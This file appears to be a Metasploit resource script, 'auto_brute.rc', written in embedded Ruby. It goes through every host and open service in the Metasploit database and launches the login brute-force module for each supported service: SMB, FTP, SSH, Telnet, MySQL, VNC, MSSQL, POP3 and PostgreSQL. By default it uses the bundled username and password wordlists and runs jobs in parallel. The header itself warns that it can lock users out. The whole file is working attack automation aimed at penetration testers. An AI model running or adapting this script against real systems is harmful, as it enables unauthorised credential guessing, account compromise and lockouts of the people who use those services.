# auto_brute.rc
# Author: m-1-k-3 (Web: http://www.s3cur1ty.de / Twitter: @s3cur1ty_de)

# This Metasploit RC-File could be used to automate the bruteforce process
# the services are used from the already discovered service details of the database
# for this we need the service names in the db!
# VERBOSE is used from the global datastore
# THREADS is used from the global datastore
# USER_FILE and PASS_File is used from the global datastore

# WARNING: You could lock out users with this resource script!

<ruby>
#throttling if we get too much jobs
maxjobs = 8

wordlistpath = "#{Msf::Config.install_root}/data/wordlists"

if (framework.datastore['USER_FILE'] == nil)
	# we are using the default unix wordlists
	run_single("setg USER_FILE #{wordlistpath}/unix_users.txt")
end

if (framework.datastore['PASS_FILE'] == nil)
	# we are using the default unix wordlists
	run_single("setg PASS_FILE #{wordlistpath}/unix_passwords.txt")
end

if (framework.datastore['THREADS'] == nil)
	#default to 10 Threads
	run_single("setg THREADS 10")
end

if (framework.datastore['VERBOSE'] == "true")
	#we look in the global datastore for a global VERBOSE option and use it
	verbose = 1
else
	verbose = 0
end

# Test and see if we have a database connected
begin
	framework.db.hosts
rescue ::ActiveRecord::ConnectionNotEstablished
	print_error("Database connection isn't established")
	return
end

def jobwaiting(maxjobs,verbose)	#thread handling for poor guys
	while(framework.jobs.keys.length >= maxjobs)
		::IO.select(nil, nil, nil, 2.5)
		if(verbose == 1)
			jobs_len    = framework.jobs.keys.length
			threads_len = framework.threads.length
			print_error("Waiting... active jobs: #{jobs_len} / threads: #{threads_len}")
		end
	end
end

def infos(serv,host)
	print_line("")
	print_line("====================================")
	print_line("IP: #{host.address}")
	print_line("OS: #{host.os_name}")
	print_line("Servicename: #{serv.name}")
	print_line("Service Port: #{serv.port.to_i}")
	print_line("Service Protocol: #{serv.proto}")
	print_line("====================================")
	print_line("")
end

framework.db.hosts.each do |host|
	host.services.each do |serv|
		next if not serv.host
		next if (serv.state != ServiceState::Open)

		# for now we only brute force these services, you can add some more ...
		next if not (serv.name =~ /smb/ or
		             serv.name =~ /microsoft-ds/ or
		             serv.name =~ /netbios-ssn/ or
		             serv.name =~ /ftp/ or
		             serv.name =~ /ssh/ or
		             serv.name =~ /telnet/ or
		             serv.name =~ /mysql/ or
		             serv.name =~ /vnc/ or
		             serv.name =~ /mssql/ or
		             serv.name =~ /pop3/ or
		             serv.name =~ /postgres/)

		xport = serv.port.to_i
		xprot = serv.proto
		xname = serv.name
		oname = host.os_name
		xhost = host.address

		if(xname =~ /smb/ or xname =~ /microsoft-ds/ or xname =~ /netbios-ssn/)
			if(verbose == 1)
				infos(serv,host)
			end

			print_line("smb_login")
			run_single("use auxiliary/scanner/smb/smb_login")
			run_single("set RHOSTS #{xhost}")
			run_single("set RPORT #{xport}")
			if(verbose == 1)
				run_single("set VERBOSE true")
				run_single("run -j")
			else
				run_single("run -j -q")
			end
			run_single("back")
			jobwaiting(maxjobs,verbose)

		elsif(xname =~ /ftp/)
			if(verbose == 1)
				infos(serv,host)
			end
			print_line("ftp_anonymous")
			run_single("use auxiliary/scanner/ftp/anonymous")
			run_single("set RHOSTS #{xhost}")
			run_single("set RPORT #{xport}")
			if(verbose == 1)
				run_single("set VERBOSE true")
				run_single("run -j")
			else
				run_single("run -j -q")
			end
			run_single("back")
			jobwaiting(maxjobs,verbose)
			print_line("ftp_login")
			run_single("use auxiliary/scanner/ftp/ftp_login")
			run_single("set RHOSTS #{xhost}")
			run_single("set RPORT #{xport}")
			if(verbose == 1)
				run_single("set VERBOSE true")
				run_single("run -j")
			else
				run_single("run -j -q")
			end
			run_single("back")
			jobwaiting(maxjobs,verbose)

		elsif(xname =~ /ssh/)
			if(verbose == 1)
				infos(serv,host)
			end
			print_line("ssh_login")
			run_single("use auxiliary/scanner/ssh/ssh_login")
			run_single("set RHOSTS #{xhost}")
			run_single("set RPORT #{xport}")
			if(verbose == 1)
				run_single("set VERBOSE true")
				run_single("run -j")
			else
				run_single("run -j -q")
			end
			run_single("back")
			jobwaiting(maxjobs,verbose)

		elsif(xname =~ /telnet/)
			if(verbose == 1)
				infos(serv,host)
			end
			print_line("telnet_login")
			run_single("use auxiliary/scanner/telnet/telnet_login")
			run_single("set RHOSTS #{xhost}")
			run_single("set RPORT #{xport}")
			if(verbose == 1)
				run_single("set VERBOSE true")
				run_single("run -j")
			else
				run_single("run -j -q")
			end
			run_single("back")
			jobwaiting(maxjobs,verbose)

		elsif(xname =~ /mysql/)
			if(verbose == 1)
				infos(serv,host)
			end
			print_line("mysql_login")
			run_single("use auxiliary/scanner/mysql/mysql_login")
			run_single("set RHOSTS #{xhost}")
			run_single("set RPORT #{xport}")
			if(verbose == 1)
				run_single("set VERBOSE true")
				run_single("run -j")
			else
				run_single("run -j -q")
			end
			run_single("back")
			jobwaiting(maxjobs,verbose)

		elsif(xname =~ /vnc/)
			if(verbose == 1)
				infos(serv,host)
			end
			print_line("vnc_login")
			run_single("use auxiliary/scanner/vnc/vnc_login")
			run_single("set RHOSTS #{xhost}")
			run_single("set RPORT #{xport}")
			run_single("unsetg USER_FILE")
			if(verbose == 1)
				run_single("set VERBOSE true")
				run_single("run -j")
			else
				run_single("run -j -q")
			end
			run_single("back")
			jobwaiting(maxjobs,verbose)

		elsif(xname =~ /mssql/ or xname =~ /ms-sql/)
			if(verbose == 1)
				infos(serv,host)
			end
			print_line("mssql_login")
			run_single("use auxiliary/scanner/mssql/mssql_login")
			run_single("set RHOSTS #{xhost}")
			run_single("set RPORT #{xport}")
			run_single("unsetg USER_FILE")
			if(verbose == 1)
				run_single("set VERBOSE true")
				run_single("run -j")
			else
				run_single("run -j -q")
			end
			run_single("back")
			jobwaiting(maxjobs,verbose)

		elsif(xname =~ /pop3/)
			if(verbose == 1)
				infos(serv,host)
			end
			print_line("pop3_login")
			run_single("use auxiliary/scanner/pop3/pop3_login")
			run_single("set RHOSTS #{xhost}")
			run_single("set RPORT #{xport}")
			run_single("unsetg USER_FILE")
			run_single("unsetg PASS_FILE")
			if(verbose == 1)
				run_single("set VERBOSE true")
				run_single("run -j")
			else
				run_single("run -j -q")
			end
			run_single("back")
			jobwaiting(maxjobs,verbose)

		elsif(xname =~ /postgres/)
			if(verbose == 1)
				infos(serv,host)
			end
			print_line("postgres_login")
			run_single("use auxiliary/scanner/postgres/postgres_login")
			run_single("set RHOSTS #{xhost}")
			run_single("set RPORT #{xport}")
			run_single("unsetg USER_FILE")
			run_single("unsetg PASS_FILE")
			if(verbose == 1)
				run_single("set VERBOSE true")
				run_single("run -j")
			else
				run_single("run -j -q")
			end
			run_single("back")
			jobwaiting(maxjobs,verbose)
		else
			print_error("no supported service found")
		end
	end #host.services.each loop
end #framework.db.hosts.each loop
</ruby>
jobs
